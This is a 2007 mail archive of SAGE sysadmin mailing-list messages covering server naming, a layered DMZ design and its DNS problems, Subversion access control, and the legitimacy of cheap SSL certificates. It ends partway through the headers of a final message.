--=-HYZkLkqm1/AzX1lA/n5U
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Sat, 2007-01-06 at 11:14 -0800, Richard Chycoski wrote:

> The old Unix trait of naming a group of machines after a the names of=20
> some other group of objects (elements, planets, beers, Paris Hilton's=20
> exploits :-) usually doesn't scale to really large groups of machines,=20
> but using these kinds of names as memorable names for the clients to use=20
> for a subset of the machines, or as aliases, can work even in a large=20
> environment.

It's not just that short names are memorable; they're also
pronounceable, which is really important when you have to routinely
*talk* about your systems.  Also, one is less likely to get them
confused, even before that first cup.

Wil
--=20
Wil Cooley <wcooley@nakedape.cc>
http://nakedape.cc

--=-HYZkLkqm1/AzX1lA/n5U
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQBFo+r5Jpn3uYWUEaoRAqV4AJ0fIctHXrNbr6Au3hRTqluSEKOWtgCgjFNj
U1XxJfriLdUPwwoWM0vYXh8=
=FSlP
-----END PGP SIGNATURE-----

--=-HYZkLkqm1/AzX1lA/n5U--


From sage-members-owner@usenix.org Thu Jan 11 06:07:16 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0BE7CHP022179
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 11 Jan 2007 06:07:16 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0BE7BFv022177
	for sage-members-0utGoign; Thu, 11 Jan 2007 06:07:12 -0800 (PST)
Received: from ettin.watson-wilson.ca (watson-wilson.ca [216.138.221.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0BE6ij9022131
	for <sage-members@usenix.org>; Thu, 11 Jan 2007 06:06:55 -0800 (PST)
Received: by ettin.watson-wilson.ca (Postfix, from userid 1000)
	id 008173ADDE; Thu, 11 Jan 2007 09:06:27 -0500 (EST)
Date: Thu, 11 Jan 2007 09:06:27 -0500
From: Neil Watson <sage@watson-wilson.ca>
To: sage-members@usenix.org
Subject: [SAGE] Questions about a DMZ config
Message-ID: <20070111140627.GA29385@watson-wilson.ca>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Disposition: inline
X-Message-Flag: Outlook is a dangerous and insecure program (Magic 8 ball:
	Outlook not good)
X-Accepted-File-Formats: No proprietary Microsoft Office files please
User-Agent: Mutt/1.5.13 (2006-08-11)
X-watson-wilson.ca-MailScanner: Not scanned: please contact your Internet
	E-Mail Service Provider for details
X-watson-wilson.ca-MailScanner-From: sage@watson-wilson.ca
X-Spam-Status: No
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

I've come across a DMZ design that I've not seen before.  It seems
somewhat flawed to me.  I'd like to hear the opinions of other Sage
members.

Internet
   |
  FW
   |
192.168.32.0/24
(web servers, external DNS, mail gateways)
   |
  FW
   |
192.168.42.0/24
(middle-ware)
   |
  FW
   |
Internal Network.

All externally visible servers are NATed behind the external firewall.
The DNS servers give out public IP addresses which are controlled by the
firewall.  There is no DNS resolution for the locale private IP
addresses. This causes some interesting problems.   The firewall does
not allow the servers to talk to each other using their public IP
addresses.  This can create email problems.  For example, should a
server wish to send email it cannot do so via MX record lookup.  Instead
the server's MTA must be manually set to forward (e.g. SMART_HOST).
Services that prefer to have DNS (e.g. OpenView, backup software) now
only work if each host keeps a hosts file.  

Is this type of arrangement typical?  Is another DNS service required to
fix this problem or there a more serious flaw?

-- 
Neil Watson             | Debian Linux
System Administrator
http://watson-wilson.ca


From sage-members-owner@usenix.org Thu Jan 11 06:23:22 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0BENLXX022825
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 11 Jan 2007 06:23:21 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0BENKO2022824
	for sage-members-0utGoign; Thu, 11 Jan 2007 06:23:20 -0800 (PST)
Received: from mail.reptiles.org (mail.reptiles.org [198.96.119.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0BEMtRF022792
	for <sage-members@usenix.org>; Thu, 11 Jan 2007 06:23:07 -0800 (PST)
Received: from mail.reptiles.org([198.96.119.1] port=1553) (1729 bytes) 
	by mail.reptiles.org([198.96.119.1] port=25) via TCP with esmtp
	(sender: <cat@reptiles.org>) id <m1H50pR-00BxNKC@mail.reptiles.org>
	for <sage-members@usenix.org>;
	(dest:remote)(R=bind_hosts)(T=inet_zone_bind_smtp)
	Thu, 11 Jan 2007 09:22:53 -0500 (EST)
	(Smail-3.2.0.118 2004-May-31 #3 built 2004-Oct-14)
Date: Thu, 11 Jan 2007 09:22:53 -0500 (EST)
From: Cat Okita <cat@reptiles.org>
To: Neil Watson <sage@watson-wilson.ca>
cc: sage-members@usenix.org
Subject: Re: [SAGE] Questions about a DMZ config
In-Reply-To: <20070111140627.GA29385@watson-wilson.ca>
Message-ID: <20070111091941.T11764@skink.reptiles.org>
References: <20070111140627.GA29385@watson-wilson.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Thu, 11 Jan 2007, Neil Watson wrote:
> I've come across a DMZ design that I've not seen before.  It seems
> somewhat flawed to me.  I'd like to hear the opinions of other Sage
> members.
>
> Internet
>  |
> FW
>  |
> 192.168.32.0/24
> (web servers, external DNS, mail gateways)
>  |
> FW
>  |
> 192.168.42.0/24
> (middle-ware)
>  |
> FW
>  |
> Internal Network.

It's not an unusual configuration - I've seen it in a variety of
environments.  It's designed to isolate components, and typically also
uses different types of firewall, for better defence against monoculture
vulnerabilities.

> Is this type of arrangement typical?  Is another DNS service required to
> fix this problem or there a more serious flaw?

I'd normally expect to see split DNS here...

cheers!
==========================================================================
"A cat spends her life conflicted between a deep, passionate and profound
desire for fish and an equally deep, passionate and profound desire to
avoid getting wet.  This is the defining metaphor of my life right now."


From sage-members-owner@usenix.org Thu Jan 11 08:45:28 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0BGjRlv028308
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 11 Jan 2007 08:45:28 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0BGjRM0028306
	for sage-members-0utGoign; Thu, 11 Jan 2007 08:45:27 -0800 (PST)
Received: from coke.conundrum.com (coke.conundrum.com [216.235.9.139])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0BGj33q028283
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Thu, 11 Jan 2007 08:45:14 -0800 (PST)
Received: from [192.203.0.64] ([207.35.205.106])
	by coke.conundrum.com (8.13.1/8.12.6) with ESMTP id l0BGBaOs029091;
	Thu, 11 Jan 2007 11:11:36 -0500 (EST)
	(envelope-from matt@conundrum.com)
In-Reply-To: <20070111091941.T11764@skink.reptiles.org>
References: <20070111140627.GA29385@watson-wilson.ca>
	<20070111091941.T11764@skink.reptiles.org>
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <CF565A86-2EAE-4AD8-81D8-4C9E42CFD9A3@conundrum.com>
Content-Transfer-Encoding: 7bit
From: Matt Pounsett <matt@conundrum.com>
Subject: Re: [SAGE] Questions about a DMZ config
Date: Thu, 11 Jan 2007 11:11:29 -0500
To: sage-members@usenix.org
X-Pgp-Agent: GPGMail 1.1.2 (Tiger)
X-Mailer: Apple Mail (2.752.3)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


On 11-Jan-2007, at 09:22 , Cat Okita wrote:

> On Thu, 11 Jan 2007, Neil Watson wrote:
>> I've come across a DMZ design that I've not seen before.  It seems
>> somewhat flawed to me.  I'd like to hear the opinions of other Sage
>> members.
>
> It's not an unusual configuration - I've seen it in a variety of
> environments.  It's designed to isolate components, and typically also
> uses different types of firewall, for better defence against  
> monoculture
> vulnerabilities.

Yeah, I've seen this one before too.  And agreed, in this layout I'd  
expect to see split DNS (or, in BIND parlance, "DNS Views") being used.

The way I'd normally implement this is a bit different though.  Using  
a firewall with more than two ports, I'd assign one to "outside", one  
to "inside", and the remaining ports to the different DMZs, using non- 
RFC1918 addresses in the DMZs.  It allows for problems stemming from  
monoculture, but uses less hardware, and can provide slightly more  
flexibility in the rules of who can speak to which DMZ, and on what  
ports.

Matt


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (Darwin)

iD8DBQFFpmGzae4z2vjbC8sRAjrhAKD2uG9b0onFZiewMv5CtseGfs4ccgCgxxx/
vrVEIf7R2emu6LPhxNZawAE=
=F4Xe
-----END PGP SIGNATURE-----


From sage-members-owner@usenix.org Thu Jan 11 14:36:28 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0BMaOTp019325
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 11 Jan 2007 14:36:25 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0BMaOsj019324
	for sage-members-0utGoign; Thu, 11 Jan 2007 14:36:24 -0800 (PST)
Received: from smtp102.his.com (smtp102.his.com [216.194.225.125])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0BMZkWn019286
	for <sage-members@usenix.org>; Thu, 11 Jan 2007 14:35:56 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp102.his.com (Postfix) with ESMTP id 8DAA8400214
	for <sage-members@usenix.org>; Thu, 11 Jan 2007 17:35:34 -0500 (EST)
Received: from smtp102.his.com ([216.194.225.125])
	by localhost (smtp102.his.com [216.194.225.125]) (amavisd-new,
	port 10024) with ESMTP id 16110-06-2 for <sage-members@usenix.org>;
	Thu, 11 Jan 2007 17:35:27 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp102.his.com (Postfix) with ESMTP id AB81C40022C
	for <sage-members@usenix.org>; Thu, 11 Jan 2007 17:35:27 -0500 (EST)
Received: from [10.0.1.11] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l0BMZI55035988
	for <sage-members@usenix.org>; Thu, 11 Jan 2007 17:35:27 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240501c1cc6aed4ff3@[10.0.1.11]>
Date: Thu, 11 Jan 2007 16:32:30 -0600
To: SAGE Members Mailing List <sage-members@usenix.org>
From: Brad Knowles <brad@shub-internet.org>
Subject: [SAGE] SATLUG January 2007 Meeting: Dr. Dominique Heger from
	Fortuitous
	Technologies on high-performance parallel filesystems, such as used in
	clusters...
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.303 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.096, BAYES_00=-2.599]
X-Spam-Score: -4.303
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=4%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Folks,

Just found out about this meeting last night, and just found out 
today that I might actually be able to attend.

Anyway, I'm planning on being there and one thing I'd like to do is 
to give away a couple of copies of SAGE Booklet #15 "Internet 
Postmaster: Duties & Responsibilities" by Nick Christenson (with a 
little help from me).

I'm also hoping to be at the CACTUS meeting next week (in Austin), 
and do the same thing there.

If there's going to be a meeting this month of the Austin 
Storage/Networking User Group, I'll try to do the same there as well.



See <http://www.satlug.org/> for more information regarding the 
meeting tonight, and <http://www.cactus.org/> for information 
regarding the location of the CACTUS meeting next week (although they 
don't have anything posted yet as to what the topic will be).

-- 
Brad Knowles, <brad@shub-internet.org>

Trend Micro has announced that they will cancel the stop.mail-abuse.org
mail forwarding service as of 15 November 2006.  If you have an old
e-mail account for me at this domain, please make sure you correct that
with the current address.


From sage-members-owner@usenix.org Thu Jan 11 16:12:28 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0C0CFx8025235
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 11 Jan 2007 16:12:21 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0C0CFCb025234
	for sage-members-0utGoign; Thu, 11 Jan 2007 16:12:15 -0800 (PST)
Received: from mail.indeterminate.net (host-8.colo.spiretech.com
	[207.173.206.8])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0C0BhUW025189
	for <sage-members@sage.org>; Thu, 11 Jan 2007 16:11:53 -0800 (PST)
Received: from olivia.indeterminate.net (olivia.indeterminate.net
	[207.173.206.8])
	by mail.indeterminate.net (8.11.6/8.11.6) with ESMTP id l0C0BSd01678
	for <sage-members@sage.org>; Thu, 11 Jan 2007 16:11:28 -0800
Date: Thu, 11 Jan 2007 16:11:28 -0800 (PST)
From: John Costello <cos@indeterminate.net>
To: sage-members@sage.org
Subject: Bugging devices Re: Other ethical questions (was: Re: [SAGE] Ethical
	question - to disclose or not to disclose)
In-Reply-To: <p06240504c1a0ffd03cd2@[10.0.1.11]>
Message-ID: <Pine.LNX.4.44.0701111603280.1539-100000@olivia.indeterminate.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Virus-Scanned: ClamAV version 'clamd / ClamAV version 0.65',
	clamav-milter version '0.60p'
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Sat, 9 Dec 2006, Brad Knowles wrote:
> At 2:30 PM -0500 12/9/06, Stephen Potter wrote:
> >  Consider this similar situation.  You come home and find a large package
> >  on your doorstep with no easily seen markings as to who it is from or for
> > [snippity, because Stephen's note led into ...]

> Okay, so lets take a real-world situation that has recently happened to us.
> 
> A package arrives on our doorstep from FedEx.  It has our street 
> address on it, but the recipient name is someone else.  The sender's 
> [snipped speculation that the device could be bugged, which triggered]
> [a lengthy flame war that I avoided]

I have to admit that I was skeptical about the 
bugged-device-arriving-via-FedEx scenario, but I stayed out of the 
topic.  

The recent news that a group of U.S. contractors had bugged coins has made 
me a touch less skeptical. 

<http://news.aol.com/topnews/articles/_a/defense-contractors-warned-about-spy/20070111092409990001?ncid=NWS00010000000001>

Damned strange, all this.

My favorite bit from the article is "the case of a female foreign spy who
seduced her American boyfriend to steal his computer passwords."

That makes for a fun pick-up line at bars.

Cheers,

John




From sage-members-owner@usenix.org Thu Jan 11 16:24:57 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0C0OuR5025956
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 11 Jan 2007 16:24:57 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0C0OuiE025955
	for sage-members-0utGoign; Thu, 11 Jan 2007 16:24:56 -0800 (PST)
Received: from mail.reptiles.org (whois.csas.com [198.96.119.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0C0OVZq025937
	for <sage-members@sage.org>; Thu, 11 Jan 2007 16:24:41 -0800 (PST)
Received: from mail.reptiles.org([198.96.119.1] port=4311) (1474 bytes) 
	by mail.reptiles.org([198.96.119.1] port=25) via TCP with esmtp
	(sender: <cat@reptiles.org>) id <m1H5AC6-00BxOSC@mail.reptiles.org>
	for <sage-members@sage.org>;
	(dest:remote)(R=bind_hosts)(T=inet_zone_bind_smtp)
	Thu, 11 Jan 2007 19:22:54 -0500 (EST)
	(Smail-3.2.0.118 2004-May-31 #3 built 2004-Oct-14)
Date: Thu, 11 Jan 2007 19:22:53 -0500 (EST)
From: Cat Okita <cat@reptiles.org>
To: John Costello <cos@indeterminate.net>
cc: sage-members@sage.org
Subject: Re: Bugging devices Re: Other ethical questions (was: Re: [SAGE]
	Ethical question - to disclose or not to disclose)
In-Reply-To: <Pine.LNX.4.44.0701111603280.1539-100000@olivia.indeterminate.net>
Message-ID: <20070111192132.E11764@skink.reptiles.org>
References: <Pine.LNX.4.44.0701111603280.1539-100000@olivia.indeterminate.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Thu, 11 Jan 2007, John Costello wrote:
> My favorite bit from the article is "the case of a female foreign spy who
> seduced her American boyfriend to steal his computer passwords."
>
> That makes for a fun pick-up line at bars.

... you mean random men don't normally walk up to you and give you 
passwords, or hack the phone company for you, just like they do in 
the movies?!?

cheers!
==========================================================================
"A cat spends her life conflicted between a deep, passionate and profound
desire for fish and an equally deep, passionate and profound desire to
avoid getting wet.  This is the defining metaphor of my life right now."


From sage-members-owner@usenix.org Fri Jan 19 08:18:25 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JGIOMZ029245
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 08:18:25 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0JGIOok029244
	for sage-members-0utGoign; Fri, 19 Jan 2007 08:18:24 -0800 (PST)
Received: from ettin.watson-wilson.ca (watson-wilson.ca [216.138.221.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JGHvvo029225
	for <sage-members@sage.org>; Fri, 19 Jan 2007 08:18:07 -0800 (PST)
Received: by ettin.watson-wilson.ca (Postfix, from userid 1000)
	id A0CD03ADE0; Fri, 19 Jan 2007 11:17:46 -0500 (EST)
Date: Fri, 19 Jan 2007 11:17:46 -0500
From: Neil Watson <sage@watson-wilson.ca>
To: sage-members@sage.org
Subject: [SAGE] Subversion, passwords and ACLs
Message-ID: <20070119161746.GA31925@watson-wilson.ca>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Disposition: inline
X-Message-Flag: Outlook is a dangerous and insecure program (Magic 8 ball:
	Outlook not good)
X-Accepted-File-Formats: No proprietary Microsoft Office files please
User-Agent: Mutt/1.5.13 (2006-08-11)
X-watson-wilson.ca-MailScanner: Not scanned: please contact your Internet
	E-Mail Service Provider for details
X-watson-wilson.ca-MailScanner-From: sage@watson-wilson.ca
X-Spam-Status: No
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Suppose I have a Subversion repository:

/trunk/
/branches/dev
/branches/qa

I want to be able to limit users to certain directories.  John should
only be able to access branches/qa.  Jane should only be able to access
branches/dev.

I can accomplish this using Subversion's authz-db files.  Using this
method users contact a running Subversion daemon.  Their credentials are
stored in a password-db file.  I do not like that this file is plain
text.  I also do not like that this does not give the user's a chance to
change their passwords.

Is there a way to control directory access inside a repository while
still using UNIX shell accounts for logins?

-- 
Neil Watson             | Debian Linux
System Administrator    | Uptime 6 days
http://watson-wilson.ca


From sage-members-owner@usenix.org Fri Jan 19 09:25:13 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JHPCAt001531
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 09:25:13 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0JHPC4Q001530
	for sage-members-0utGoign; Fri, 19 Jan 2007 09:25:12 -0800 (PST)
Received: from gretel.pobox.com (gretel.pobox.com [208.58.1.197])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JHOkMv001502
	for <sage-members@sage.org>; Fri, 19 Jan 2007 09:24:56 -0800 (PST)
Received: from rune.pobox.com (rune.pobox.com [208.210.124.79])
	by gretel.pobox.com (Postfix) with ESMTP id E6E095463C6A
	for <sage-members@sage.org>; Fri, 19 Jan 2007 12:03:07 -0500 (EST)
Received: from rune (localhost [127.0.0.1])
	by rune.pobox.com (Postfix) with ESMTP id 0F6F2AC09E
	for <sage-members@sage.org>; Fri, 19 Jan 2007 12:02:31 -0500 (EST)
Received: from localhost (cpe-66-108-14-241.nyc.res.rr.com [66.108.14.241])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by rune.sasl.smtp.pobox.com (Postfix) with ESMTP id E2B69AAA6E
	for <sage-members@sage.org>; Fri, 19 Jan 2007 12:02:30 -0500 (EST)
Date: Fri, 19 Jan 2007 12:02:07 -0500
From: "Philip J. Hollenback" <philiph@pobox.com>
To: sage-members@sage.org
Subject: [SAGE] Are cheap SSL certificates legitimate?
Message-ID: <20070119170207.GH20885@hollenback.net>
Reply-To: philiph@pobox.com
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: mutt-ng/devel-r655 (Darwin)
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=11%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At my work we have several internal websites which we serve over SSL
with self-signed certificates.  Users complain about the annoyance of
having to approve loading these sites in their browser every time.
Thus I decided to get some 'real' SSL certificates.

After some web searching, I found that namecheap.com would sell me a
certificate for $13.95.  I purchases one of these and installed it.
The certificate seems to work just fine.

However, one of my co-workers believes that there is something
fishy about these certificates since they are so inexpensive.  I
checked the cert out and it looks like namecheap.com actually resells
certificates from rapidssl.com.  The certs point to 'Equifax Secure
Global eBusiness CA 1'.  On the rapidssl.com site they make a big deal
about how their 'single root certificates' are superior to chained
certificates from other vendors.

Interestingly the cheapest you can buy a certificate from rapidssl.com
is $70 so apparently namecheap.com is getting them much cheaper or
selling them at a loss.

So:

1. Is there any reason to not use these certificates?  This is for
   internal use at my company only, not for outward-facing websites.

2. Are single root certificates really better than chained
   certificates?  Or is there some reason why they would be worse?

3. I'm probably going to also use these certificates to secure imap
   and smtp mail, again for internal use only.  Any reason to not use
   these certs for that?

Thanks,
P.

-- 
Philip J. Hollenback
www.hollenback.net


From sage-members-owner@usenix.org Fri Jan 19 10:21:18 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JIL9SM004169
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 10:21:14 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0JIL9Sr004167
	for sage-members-0utGoign; Fri, 19 Jan 2007 10:21:09 -0800 (PST)
Received: from g2.mental.com (root@entrance.mental.com [192.31.14.10])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JIKj0i004130
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@sage.org>; Fri, 19 Jan 2007 10:20:57 -0800 (PST)
Received: from mental.com (root@twen.mi [172.16.0.5])
	by g2.mental.com (8.13.7/8.13.7/mental-061228) with ESMTP id
	l0JI4SP5008860
	for <sage-members@sage.org>; Fri, 19 Jan 2007 19:04:28 +0100 (CET)
Received: from mental.com (lobo@localhost [127.0.0.1])
	by mental.com (8.13.7/8.13.7/Lobo-051217) with ESMTP id l0JI4SHR009517
	for <sage-members@sage.org>; Fri, 19 Jan 2007 19:04:28 +0100 (MET)
X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4
To: sage-members@sage.org
Subject: Re: [SAGE] Are cheap SSL certificates legitimate? 
In-reply-to: "Philip J. Hollenback"'s message of Fri,
	19 Jan 2007 12:02:07 EST <20070119170207.GH20885@hollenback.net> 
Organization: mental images GmbH, Berlin, Germany
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 19 Jan 2007 19:04:28 +0100
Message-ID: <9516.1169229868@mental.com>
From: Alexander Lobodzinski <lobo@mental.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

() At my work we have several internal websites which we serve over SSL
() with self-signed certificates.  Users complain about the annoyance of
() having to approve loading these sites in their browser every time.

I cannot comment on namecheap.com, but did you consider creating
a root certificate (valid 15 years or so) and use that to sign
the various web/imap/smtp site certificates?  Then every user
has to load your root cert once and that's it.

    Ciao, Lobo



From sage-members-owner@usenix.org Fri Jan 19 10:55:11 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JIt2hj005687
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 10:55:08 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0JIt23t005686
	for sage-members-0utGoign; Fri, 19 Jan 2007 10:55:02 -0800 (PST)
Received: from aphrodite.aquezada.com (h216-235-8-211.host.egate.net
	[216.235.8.211])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JIseNd005662
	for <sage-members@sage.org>; Fri, 19 Jan 2007 10:54:51 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by aphrodite.acf.aquezada.com (Postfix) with ESMTP id E51713F42E;
	Fri, 19 Jan 2007 13:54:39 -0500 (EST)
X-Virus-Scanned: amavisd-new at aquezada.com
Received: from aphrodite.acf.aquezada.com ([127.0.0.1])
	by localhost (aphrodite.acf.aquezada.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with LMTP id 1ID1ZqpWLgmc; Fri, 19 Jan 2007 13:54:33 -0500 (EST)
Received: by aphrodite.acf.aquezada.com (Postfix, from userid 1001)
	id 65CE13F42B; Fri, 19 Jan 2007 13:54:33 -0500 (EST)
Received: from localhost (localhost [127.0.0.1])
	by aphrodite.acf.aquezada.com (Postfix) with ESMTP id 60DBB3F428;
	Fri, 19 Jan 2007 13:54:33 -0500 (EST)
Date: Fri, 19 Jan 2007 13:54:33 -0500 (EST)
From: "Julian C. Dunn" <jdunn@aquezada.com>
X-X-Sender: jdunn@aphrodite.acf.aquezada.com
To: Alexander Lobodzinski <lobo@mental.com>
cc: sage-members@sage.org
Subject: Re: [SAGE] Are cheap SSL certificates legitimate? 
In-Reply-To: <9516.1169229868@mental.com>
Message-ID: <20070119135352.E38307@aphrodite.acf.aquezada.com>
References: <9516.1169229868@mental.com>
Organization: Aquezada Productions
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Fri, 19 Jan 2007, Alexander Lobodzinski wrote:

> () At my work we have several internal websites which we serve over SSL
> () with self-signed certificates.  Users complain about the annoyance of
> () having to approve loading these sites in their browser every time.
>
> I cannot comment on namecheap.com, but did you consider creating a root 
> certificate (valid 15 years or so) and use that to sign the various 
> web/imap/smtp site certificates?  Then every user has to load your root 
> cert once and that's it.

I think that what the OP is saying is that he doesn't want to make every 
user load a custom root certificate, possibly because of the size of his 
installed base or for other reasons.

- Julian

[ Julian C. Dunn <jdunn@aquezada.com>  *  "You can throw confetti,   ]
[ WWW: www.aquezada.com/staff/julian   *  but you're still going     ]
[ PGP: 91B3 7A9D 683C 7C16 715F        *  through the motions, baby" ]
[      442C 6065 D533 FDC2 05B9        *                - Aimee Mann ]


From sage-members-owner@usenix.org Fri Jan 19 11:22:35 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JJMYuZ007201
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 11:22:34 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0JJMXKn007199
	for sage-members-0utGoign; Fri, 19 Jan 2007 11:22:33 -0800 (PST)
Received: from gretel.pobox.com (gretel.pobox.com [208.58.1.197])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JJLuik007051
